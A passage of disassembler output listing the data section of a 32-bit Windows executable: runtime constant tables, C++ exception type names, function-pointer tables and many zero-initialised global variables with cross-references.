		dd 1Dh,	427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h
		dd 13h,	427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h
		dd 0Fh,	427808h, 10h, 427800h, 5, 4277F8h, 1Eh,	4277F4h
		dd 12h,	4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh
		dd 15h,	4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh
		dd 18h,	4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h
		dd 23h,	42779Ch, 24h, 427798h
dbl_43ABE8	dq 1.797693134862316e308 ; DATA	XREF: sub_421294+B7r
					; sub_421294:loc_42137Br ...
		dd 0
		dd 0FFF80000h
dbl_43ABF8	dq 1.797693134862316e308 ; DATA	XREF: sub_421294+92r
					; sub_421294:loc_421353r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43AC10	dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr
					; sub_421741+1Fr
		align 4
tbyte_43AC1C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r
		align 4
off_43AC28	dd offset sub_421BD5	; DATA XREF: sub_41CECC+Fw
					; sub_41F5D4+3AAr
off_43AC2C	dd offset sub_42186A	; DATA XREF: sub_41CECC+5w
					; sub_41F5D4+3E2r
off_43AC30	dd offset sub_4218D0	; DATA XREF: sub_41CECC+14w
					; sub_420445+430r
off_43AC34	dd offset sub_421810	; DATA XREF: sub_41CECC+1Ew
					; sub_41F5D4+3CBr
off_43AC38	dd offset sub_4218B8	; DATA XREF: sub_41CECC+28w
off_43AC3C	dd offset sub_421BD5	; DATA XREF: sub_41CECC+32w
		dd offset sub_42461C
		align 10h
		dd offset sub_42249C
off_43AC54	dd offset sub_42249C	; DATA XREF: sub_4224F2+29r
dword_43AC58	dd 0C0000005h		; DATA XREF: sub_422D37+Ar
					; sub_422D37+11o ...
dword_43AC5C	dd 0Bh			; DATA XREF: sub_42595E+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43ACD0	dd 3			; DATA XREF: ___:00422C4Er
					; sub_425831+C8r
dword_43ACD4	dd 7			; DATA XREF: ___:00422C54r
					; sub_425831+CDr
dword_43ACD8	dd 0Ah			; DATA XREF: sub_422D37+4r
					; sub_42595E+4r
dword_43ACDC	dd 8Ch			; DATA XREF: ___:00422C78r
					; ___:00422C85w ...
dword_43ACE0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41EF78:loc_41EFF9o
					; sub_41F4BF:loc_41F57Co
dword_43ACE8	dd 2			; DATA XREF: sub_4234D1+Eo
					; sub_4234D1+28r
off_43ACEC	dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr
					; sub_4234D1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B5Ch, 9, 427B30h, 0Ah,	427B0Ch, 10h, 427AE0h
		dd 11h,	427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h
		dd 19h,	427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h
		dd 78h,	427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h
		dd 0FFh, 427928h
off_43AD78	dd offset dword_4D9A40	; DATA XREF: sub_4234D1+1Bo
					; sub_42383E+55o
		align 10h
		dd offset dword_4D9A40
		dd 101h
dword_43AD88	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42383E+72o
		dd 1000h, 0
dword_43AD98	dd 3 dup(0)		; DATA XREF: sub_41F4BF+50o
					; sub_42037B+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43ADB8	dd 3 dup(0)		; DATA XREF: sub_41F4BF+58o
					; sub_42037B:loc_420399o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43ADE8	dd 84h dup(0)		; DATA XREF: sub_42383E+9Bo
dword_43AFF8	dd 2 dup(0)		; DATA XREF: sub_42383E+69o
dword_43B000	dd 2694h		; DATA XREF: sub_420EF6+3r
					; sub_420F49+46r
		align 8
dword_43B008	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4243FCo
dword_43B020	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o
dword_43B038	dd 7080h		; DATA XREF: sub_422571+76r
					; sub_4246FC+5Ew ...
dword_43B03C	dd 1			; DATA XREF: sub_422571+98r
					; sub_4246FC+8Bw ...
dword_43B040	dd 0FFFFF1F0h		; DATA XREF: sub_422571:loc_422623r
					; sub_4246FC+94w ...
off_43B044	dd offset dword_545350	; DATA XREF: ___:off_43B0C4o
		dd 0Fh dup(0)
off_43B084	dd offset dword_544450	; DATA XREF: ___:off_43B0C8o
		dd 0Fh dup(0)
off_43B0C4	dd offset off_43B044	; DATA XREF: sub_4246FC+BAr
					; sub_4246FC+D9r ...
off_43B0C8	dd offset off_43B084	; DATA XREF: sub_4246FC+F4r
					; sub_4246FC+11Br ...
		align 10h
dword_43B0D0	dd 0FFFFFFFFh		; DATA XREF: sub_4246FC+1Dw
					; sub_42495A+1Er ...
dword_43B0D4	dd 0			; DATA XREF: sub_42495A:loc_424A8Er
					; sub_424B06+BFw
dword_43B0D8	dd 0			; DATA XREF: sub_42495A+192r
					; sub_424B06+E0w
		align 10h
dword_43B0E0	dd 0FFFFFFFFh		; DATA XREF: sub_4246FC+17w
					; sub_42495A+26r ...
dword_43B0E4	dd 0			; DATA XREF: sub_42495A+13Ar
					; sub_424B06+EAw ...
dword_43B0E8	dd 0			; DATA XREF: sub_42495A+1A1r
					; sub_424B06+23r ...
dword_43B0EC	dd 0FFFFFFFFh		; DATA XREF: sub_424B06+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43B11C	dd 16Dh			; DATA XREF: sub_422571+2Ar
					; sub_424B06+2Er ...
dword_43B120	dd 0FFFFFFFFh		; DATA XREF: sub_424B06:loc_424B92r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43B158	dd 2 dup(0)		; DATA XREF: sub_425CB6+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B2B8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425CB6+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43B414	dd offset off_427D30	; DATA XREF: ___:00427F0Co
					; ___:00427FF8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43B42C	dd offset off_427D30	; DATA XREF: ___:off_427DC0o
					; ___:00427E00o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43B44C	dd offset off_427D30	; DATA XREF: ___:off_427E08o
					; ___:00427E4Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43B46C	dd offset off_427D30	; DATA XREF: ___:off_427E54o
					; ___:00427E98o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43B490	dd offset off_427D30	; DATA XREF: ___:off_427EA0o
					; ___:00427EDCo
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42461C
		align 10h
dword_43B4B0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43B4B8	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Bo ...
		align 10h
dword_43B4C0	dd 0			; DATA XREF: ___:004015ADo
					; sub_401AC7+ADFo ...
		dd 5 dup(0)
dword_43B4D8	dd 0			; DATA XREF: sub_401AC7+B3Br
					; sub_415BF6+60r
		dd 2D9h	dup(0)
dword_43C040	dd 0			; DATA XREF: sub_401AC7+5DD3r
					; sub_401AC7+5ECDr ...
		dd 7Fh dup(0)
dword_43C240	dd 0			; DATA XREF: sub_40B3AD+41w
					; sub_40B4E8+40w ...
dword_43C244	dd 0			; DATA XREF: sub_40B3AD+47w
					; sub_40B4E8+46w ...
dword_43C248	dd 0			; DATA XREF: sub_40B3AD+52w
					; sub_40B4E8+3Ar ...
dword_43C24C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017E7+B9w ...
dword_43C250	dd 0			; DATA XREF: sub_40B4E8+75r
					; sub_40B6C9+2Aw ...
dword_43C254	dd 0			; DATA XREF: ___:004015F9w
					; ___:00401671w ...
byte_43C258	db 0			; DATA XREF: sub_4017E7+91o
					; sub_401AC7+5D21r ...
		align 4
		dd 253Dh dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00434124o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437DE8o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438854o
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_4329A0o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43166Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_4386C0o
		dd 4F7Eh dup(0)
dword_4C9040	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3AD+13o ...
dword_4C9044	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401AC7:loc_404474r ...
dword_4C9048	dd 0			; DATA XREF: ___:loc_4016F9o
dword_4C904C	dd 20h dup(0)		; DATA XREF: ___:004016B0o
					; ___:0040174Ao ...
dword_4C90CC	dd 10h dup(0)		; DATA XREF: ___:004016C6o
dword_4C910C	dd 24h dup(0)		; DATA XREF: ___:004016DDo
dword_4C919C	dd 0			; DATA XREF: ___:004016D1w
					; ___:00401761w ...
dword_4C91A0	dd 0			; DATA XREF: ___:004016F0w
		align 10h
dword_4C91B0	dd 0			; DATA XREF: ___:0040135Br
dword_4C91B4	dd 0			; DATA XREF: ___:004016FEw
					; ___:00401715r ...
dword_4C91B8	dd 0			; DATA XREF: ___:004016B5w
					; sub_401AC7+899r
word_4C91BC	dw 0			; DATA XREF: sub_401AC7+7BB4o
					; ___:0040AF9Co ...
		align 10h
dword_4C91C0	dd 0			; DATA XREF: sub_4098FD+4A7w
					; sub_4098FD+4EBr
dword_4C91C4	dd 0			; DATA XREF: sub_4098FD+65w
					; sub_419BAA+166r
dword_4C91C8	dd 0			; DATA XREF: sub_4098FD+80Bw
					; sub_4098FD+880r ...
dword_4C91CC	dd 0			; DATA XREF: sub_4098FD+9D8w
					; sub_4098FD+A43r ...
dword_4C91D0	dd 0			; DATA XREF: sub_4098FD+98Aw
					; sub_4098FD+A13r ...
dword_4C91D4	dd 0			; DATA XREF: sub_4098FD+48Dw
					; sub_4098FD+4DBr
dword_4C91D8	dd 0			; DATA XREF: sub_4098FD+213w
					; sub_4098FD+234r
dword_4C91DC	dd 0			; DATA XREF: sub_4098FD+9CBw
					; sub_4098FD+A3Br ...
dword_4C91E0	dd 0			; DATA XREF: sub_4098FD+372w
					; sub_4098FD+3C7r ...
dword_4C91E4	dd 0			; DATA XREF: sub_4098FD+40Fw
					; sub_41AF2B+11Er
dword_4C91E8	dd 0			; DATA XREF: sub_4098FD+37Fw
					; sub_4098FD+3CFr ...
dword_4C91EC	dd 0			; DATA XREF: sub_4098FD+3C0w
					; sub_419198+ADr
dword_4C91F0	dd 0			; DATA XREF: sub_4098FD+55Aw
					; sub_40FAA3+115r ...
dword_4C91F4	dd 0			; DATA XREF: sub_4098FD+72w
					; sub_4098FD+D2r ...
dword_4C91F8	dd 0			; DATA XREF: sub_4098FD+97Dw
					; sub_4098FD+A06r ...
dword_4C91FC	dd 0			; DATA XREF: sub_4098FD+3A6w
					; sub_4098FD+3E7r ...
dword_4C9200	dd 0			; DATA XREF: sub_4098FD+859w
					; sub_4098FD+8ACr ...
dword_4C9204	dd 0			; DATA XREF: sub_4098FD+2A5w
					; sub_4098FD+2F0r
dword_4C9208	dd 0			; DATA XREF: sub_4098FD+84Cw
					; sub_4098FD+8A4r ...
dword_4C920C	dd 0			; DATA XREF: sub_4098FD+B3w
dword_4C9210	dd 0			; DATA XREF: sub_4098FD+866w
					; sub_4098FD+8B4r ...
dword_4C9214	dd 0			; DATA XREF: sub_4098FD+54Dw
					; sub_4098FD+6D0r ...
dword_4C9218	dd 0			; DATA XREF: sub_4098FD+58w
					; sub_4098FD+CAr ...
dword_4C921C	dd 0			; DATA XREF: sub_4098FD+934w
dword_4C9220	dd 0			; DATA XREF: sub_401AC7:loc_403EAFr
					; sub_4098FD+A95w ...
dword_4C9224	dd 0			; DATA XREF: sub_4098FD+A6w
					; sub_4098FD+F2r
dword_4C9228	dd 0			; DATA XREF: sub_4098FD+480w
					; sub_4098FD+4D3r
dword_4C922C	dd 0			; DATA XREF: sub_4098FD+5F6w
					; sub_40C252+20r
dword_4C9230	dd 0			; DATA XREF: sub_4098FD+9BEw
					; sub_4098FD+A33r
dword_4C9234	dd 0			; DATA XREF: sub_4098FD+5E9w
					; sub_4098FD+754r ...
dword_4C9238	dd 0			; DATA XREF: sub_4098FD+A0Cw
dword_4C923C	dd 0			; DATA XREF: sub_4098FD+B50w
					; sub_40DC32+9Ar
dword_4C9240	dd 0			; DATA XREF: sub_4098FD+7FEw
					; sub_4098FD+86Dr ...
dword_4C9244	dd 0			; DATA XREF: sub_4098FD+1B3w
					; sub_40B5A8+3Do ...
dword_4C9248	dd 0			; DATA XREF: sub_4098FD+997w
					; sub_4098FD+A1Br ...
dword_4C924C	dd 0			; DATA XREF: sub_4098FD+38Cw
					; sub_4098FD+3D7r ...
dword_4C9250	dd 0			; DATA XREF: sub_4098FD+399w
					; sub_4098FD+3DFr ...
dword_4C9254	dd 0			; DATA XREF: sub_4098FD+C85w
					; sub_4098FD+C8Cr
dword_4C9258	dd 0			; DATA XREF: sub_4098FD+6ACw
					; ___:0041124Er
dword_4C925C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4C9260	dd 0			; DATA XREF: sub_4098FD+4B4w
dword_4C9264	dd 0			; DATA XREF: sub_4098FD+9E5w
					; sub_4098FD+A4Br ...
dword_4C9268	dd 0			; DATA XREF: sub_401000+51r
					; sub_4098FD+2B2w ...
dword_4C926C	dd 0			; DATA XREF: sub_4098FD+7Fw
					; sub_4098FD+DAr ...
dword_4C9270	dd 0			; DATA XREF: sub_401AC7+588Ar
					; sub_401AC7+783Br ...
dword_4C9274	dd 0			; DATA XREF: ___:004012ADr
					; sub_401AC7+5081r ...
dword_4C9278	dd 0			; DATA XREF: sub_4098FD+825w
					; sub_4098FD+890r ...
dword_4C927C	dd 0			; DATA XREF: sub_4098FD+9A4w
					; sub_4098FD+A23r
dword_4C9280	dd 0			; DATA XREF: sub_4098FD+C0Ew
					; sub_4098FD+C3Fr
dword_4C9284	dd 0			; DATA XREF: sub_4098FD+2CCw
					; sub_4189DF+47r
dword_4C9288	dd 0			; DATA XREF: sub_4098FD+22Dw
dword_4C928C	dd 0			; DATA XREF: sub_4098FD+91Aw
					; sub_4098FD+92Er
dword_4C9290	dd 0			; DATA XREF: sub_4098FD+C28w
dword_4C9294	dd 0			; DATA XREF: sub_4098FD+2D9w
					; sub_4189DF+4Fr
dword_4C9298	dd 0			; DATA XREF: sub_4098FD+574w
					; sub_4098FD+6E8r ...
dword_4C929C	dd 0			; DATA XREF: sub_4098FD+83Fw
					; sub_4098FD+873r
dword_4C92A0	dd 0			; DATA XREF: sub_4098FD+220w
					; sub_4098FD+23Cr
dword_4C92A4	dd 0			; DATA XREF: sub_4098FD+172w
					; sub_4098FD+1C2r
dword_4C92A8	dd 0			; DATA XREF: sub_401AC7+1DBEr
					; sub_401AC7+5A43r ...
dword_4C92AC	dd 0			; DATA XREF: sub_4017E7+C4r
					; sub_401AC7+510Br ...
dword_4C92B0	dd 0			; DATA XREF: sub_4098FD+567w
					; sub_4098FD+6DCr ...
dword_4C92B4	dd 0			; DATA XREF: sub_4098FD+8DBw
					; sub_4098FD:loc_40A1F6w ...
dword_4C92B8	dd 0			; DATA XREF: sub_401000+26r
					; sub_4098FD+28Bw ...
dword_4C92BC	dd 0			; DATA XREF: sub_401AC7+77C0r
					; sub_4098FD+69Fw ...
dword_4C92C0	dd 0			; DATA XREF: sub_4098FD+32Dw
					; sub_4098FD+341r ...
dword_4C92C4	dd 0			; DATA XREF: sub_4098FD+3B3w
					; sub_4098FD+3EFr ...
dword_4C92C8	dd 0			; DATA XREF: sub_4098FD+C01w
					; sub_4098FD+C37r
dword_4C92CC	dd 0			; DATA XREF: sub_4098FD+818w
					; sub_4098FD+888r ...
dword_4C92D0	dd 0			; DATA XREF: sub_4098FD+206w
					; sub_4098FD+227r
dword_4C92D4	dd 0			; DATA XREF: sub_4098FD+18Cw
					; sub_4098FD+1D2r ...
dword_4C92D8	dd 0			; DATA XREF: sub_4098FD+832w
					; sub_4098FD+898r ...
dword_4C92DC	dd 0			; DATA XREF: sub_4098FD+624w
					; sub_4098FD+774r
dword_4C92E0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_4098FD+2BFw ...
dword_4C92E4	dd 0			; DATA XREF: sub_4098FD+66Bw
					; sub_4098FD+79Cr ...
dword_4C92E8	dd 0			; DATA XREF: sub_4098FD+320w
					; sub_4098FD+334r ...
dword_4C92EC	dd 0			; DATA XREF: sub_4098FD+644w
					; sub_4098FD+784r ...
dword_4C92F0	dd 0			; DATA XREF: sub_4098FD+44Cw
					; sub_4098FD+4AEr
dword_4C92F4	dd 0			; DATA XREF: sub_4098FD+199w
					; sub_4098FD+1DAr ...
dword_4C92F8	dd 0			; DATA XREF: sub_4098FD+365w
					; sub_4098FD+3BAr ...
dword_4C92FC	dd 0			; DATA XREF: sub_4098FD+AA2w
dword_4C9300	dd 0			; DATA XREF: sub_4098FD+5DCw
					; sub_4098FD+748r ...
dword_4C9304	dd 0			; DATA XREF: sub_4017E7+3Er
					; sub_401AC7+50BDr ...
dword_4C9308	dd 0			; DATA XREF: sub_4098FD+4Bw
					; sub_4098FD+C2r ...
dword_4C930C	dd 0			; DATA XREF: sub_4098FD+473w
					; sub_4098FD+4CBr
dword_4C9310	dd 0			; DATA XREF: sub_4098FD+165w
					; sub_4098FD+1BAr ...
dword_4C9314	dd 0			; DATA XREF: sub_4098FD+9FFw
					; sub_4098FD+A5Br ...
dword_4C9318	dd 0			; DATA XREF: sub_4098FD+685w
					; sub_4098FD+7ACr ...
dword_4C931C	dd 0			; DATA XREF: sub_40194F+D1r
					; sub_401AC7+5120r ...
dword_4C9320	dd 0			; DATA XREF: sub_4098FD+C1Bw
					; sub_4098FD+C47r
dword_4C9324	dd 0			; DATA XREF: sub_4098FD+3Ew
					; sub_4098FD+BAr ...
dword_4C9328	dd 0			; DATA XREF: sub_401000+45r
					; sub_4098FD+298w ...
dword_4C932C	dd 0			; DATA XREF: sub_4098FD+651w
					; sub_4098FD+78Cr ...
dword_4C9330	dd 0			; DATA XREF: sub_4098FD+637w
					; sub_4098FD+77Cr ...
dword_4C9334	dd 0			; DATA XREF: sub_4098FD+C92w
dword_4C9338	dd 0			; DATA XREF: sub_4098FD+879w
					; ___:00416C30r ...
dword_4C933C	dd 0			; DATA XREF: sub_4098FD+112w
dword_4C9340	dd 0			; DATA XREF: sub_4098FD+BE7w
					; sub_4098FD+C22r
dword_4C9344	dd 0			; DATA XREF: sub_401AC7+2FC3r
					; sub_401AC7+5EFCr ...
dword_4C9348	dd 0			; DATA XREF: sub_4098FD+459w
					; sub_4098FD+4BBr
dword_4C934C	dd 0			; DATA XREF: sub_4098FD+49Aw
					; sub_4098FD+4E3r
dword_4C9350	dd 0			; DATA XREF: sub_4098FD+466w
					; sub_4098FD+4C3r
dword_4C9354	dd 0			; DATA XREF: sub_40194F+89r
					; sub_401AC7+513Dr ...
dword_4C9358	dd 0			; DATA XREF: sub_4098FD+1A6w
					; sub_4098FD+1E2r ...
dword_4C935C	dd 0			; DATA XREF: sub_4098FD+9F2w
					; sub_4098FD+A53r ...
dword_4C9360	dd 0			; DATA XREF: sub_4098FD+158w
					; sub_4098FD+1ADr ...
dword_4C9364	dd 0			; DATA XREF: sub_4098FD+8Cw
					; sub_4098FD+E2r ...
dword_4C9368	dd 0			; DATA XREF: sub_4098FD+610w
					; sub_4098FD+764r ...
dword_4C936C	dd 0			; DATA XREF: sub_4098FD+B43w
					; sub_4098FD+B5Fr
dword_4C9370	dd 0			; DATA XREF: sub_4098FD+33Aw
					; sub_419B3F+55r
dword_4C9374	dd 0			; DATA XREF: sub_4098FD+27Ew
					; sub_4098FD+2D3r ...
dword_4C9378	dd 0			; DATA XREF: sub_4098FD+BAAw
dword_4C937C	dd 0			; DATA XREF: sub_4098FD+AECw
					; sub_40A91C+CEr
dword_4C9380	dd 0			; DATA XREF: sub_4098FD+ADFw
					; sub_4098FD+AE6r ...
dword_4C9384	dd 0			; DATA XREF: sub_4017E7+A6r
					; sub_401AC7+509Cr ...
dword_4C9388	dd 0			; DATA XREF: sub_401AC7+508Er
					; sub_401AC7+77E7r ...
dword_4C938C	dd 0			; DATA XREF: sub_4098FD+BF4w
					; sub_4098FD+C2Fr
dword_4C9390	dd 0			; DATA XREF: sub_401AC7+1DE4r
					; sub_401AC7+5A69r ...
dword_4C9394	dd 0			; DATA XREF: sub_4098FD+9B1w
					; sub_4098FD+A2Br ...
dword_4C9398	dd 0			; DATA XREF: sub_4098FD+65Ew
					; sub_4098FD+794r ...
dword_4C939C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017E7+D0r ...
dword_4C93A0	dd 0			; DATA XREF: sub_4098FD+59Bw
					; sub_4098FD+70Cr ...
dword_4C93A4	dd 0			; DATA XREF: sub_4098FD+B36w
					; sub_4098FD+B57r ...
dword_4C93A8	dd 0			; DATA XREF: sub_4098FD+540w
					; sub_4098FD+6C4r ...
dword_4C93AC	dd 0			; DATA XREF: sub_4098FD+B29w
					; sub_4098FD+B4Ar
dword_4C93B0	dd 0			; DATA XREF: ___:00401273r
					; sub_4098FD+31w ...
dword_4C93B4	dd 0			; DATA XREF: sub_4098FD+17Fw
					; sub_4098FD+1CAr
		dd 0
dword_4C93BC	dd 0			; DATA XREF: sub_4098FD+927w
					; sub_4098FD+93Br
dword_4C93C0	dd 0			; DATA XREF: sub_4098FD+99w
					; sub_4098FD+EAr ...
dword_4C93C4	dd 0			; DATA XREF: sub_4098FD:loc_4099FBw
					; sub_4098FD+12Bw ...
dword_4C93C8	dd 0			; DATA XREF: sub_4098FD+126w
					; sub_40A5B9+1Cr
dword_4C93CC	dd 0			; DATA XREF: sub_4098FD:loc_409AEBw
					; sub_4098FD:loc_409B52w ...
dword_4C93D0	dd 0			; DATA XREF: sub_4098FD+250w
					; sub_40A5B9+50r
dword_4C93D4	dd 0			; DATA XREF: ___:00401567r
					; sub_401AC7+4466r ...
dword_4C93D8	dd 0			; DATA XREF: sub_4098FD+41Ew
					; sub_40A5B9+84r
dword_4C93DC	dd 0			; DATA XREF: sub_4098FD:loc_409E01w
					; sub_40A5B9:loc_40A669r
dword_4C93E0	dd 0			; DATA XREF: sub_4098FD+4FFw
					; sub_40A5B9+B8r
dword_4C93E4	dd 0			; DATA XREF: sub_4098FD:loc_40A0D2w
					; sub_40A5B9:loc_40A69Dr
dword_4C93E8	dd 0			; DATA XREF: sub_4098FD+7D0w
					; sub_40A5B9+ECr
dword_4C93EC	dd 0			; DATA XREF: sub_4098FD:loc_40A1BDw
					; sub_4098FD+8EFw ...
dword_4C93F0	dd 0			; DATA XREF: sub_4098FD+8EAw
					; sub_40A5B9+120r
dword_4C93F4	dd 0			; DATA XREF: sub_401AC7:loc_406E82r
					; sub_4098FD:loc_40A251w ...
dword_4C93F8	dd 0			; DATA XREF: sub_4098FD+94Fw
					; sub_40A5B9+154r
dword_4C93FC	dd 0			; DATA XREF: sub_401AC7+446Er
					; sub_4098FD:loc_40A36Dw ...
dword_4C9400	dd 0			; DATA XREF: sub_4098FD+A6Bw
					; sub_40A5B9+188r
dword_4C9404	dd 0			; DATA XREF: sub_4098FD:loc_40A3B7w
					; sub_40A5B9:loc_40A76Dr
dword_4C9408	dd 0			; DATA XREF: sub_4098FD+AB5w
					; sub_40A5B9+1BCr
dword_4C940C	dd 0			; DATA XREF: sub_4098FD:loc_40A401w
					; sub_40A5B9:loc_40A7A1r
dword_4C9410	dd 0			; DATA XREF: sub_4098FD+AFFw
					; sub_40A5B9+1F0r
dword_4C9414	dd 0			; DATA XREF: sub_4098FD:loc_40A475w
					; sub_40A5B9:loc_40A7D5r
dword_4C9418	dd 0			; DATA XREF: sub_4098FD+B73w
					; sub_40A5B9+224r
dword_4C941C	dd 0			; DATA XREF: sub_4098FD:loc_40A4BFw
					; sub_40A5B9:loc_40A809r
dword_4C9420	dd 0			; DATA XREF: sub_4098FD+BBDw
					; sub_40A5B9+258r
dword_4C9424	dd 0			; DATA XREF: sub_4098FD:loc_40A55Dw
					; sub_40A5B9:loc_40A83Dr
dword_4C9428	dd 0			; DATA XREF: sub_4098FD+C5Bw
					; sub_40A5B9+28Cr
dword_4C942C	dd 0			; DATA XREF: sub_4098FD:loc_40A5A7w
					; sub_40A5B9:loc_40A871r
dword_4C9430	dd 0			; DATA XREF: sub_4098FD+CA5w
					; sub_40A5B9+2C0r
dword_4C9434	dd 5 dup(0)		; DATA XREF: sub_40A9FA+32o
byte_4C9448	db 0			; DATA XREF: sub_40B2A6+6Ar
					; sub_40B2A6+98w
		align 10h
dword_4C9450	dd 0			; DATA XREF: sub_40BD05+18r
					; sub_40C29A+92w ...
dword_4C9454	dd 0			; DATA XREF: sub_40C3D3+4Dr
					; sub_40C3D3+2EDw ...
		dd 7FEh	dup(0)
dword_4CB450	dd 6 dup(0)		; DATA XREF: sub_40C3D3+CFo
					; sub_40C3D3+138o ...
dword_4CB468	dd 0			; DATA XREF: sub_40BD7C+2C4w
					; sub_40BD7C+348o
dword_4CB46C	dd 0			; DATA XREF: sub_40BD7C+33Ew
					; sub_40BD7C+35Ar
dword_4CB470	dd 0			; DATA XREF: sub_40BD7C+2CFw
dword_4CB474	dd 0			; DATA XREF: sub_40BD7C+2B9w
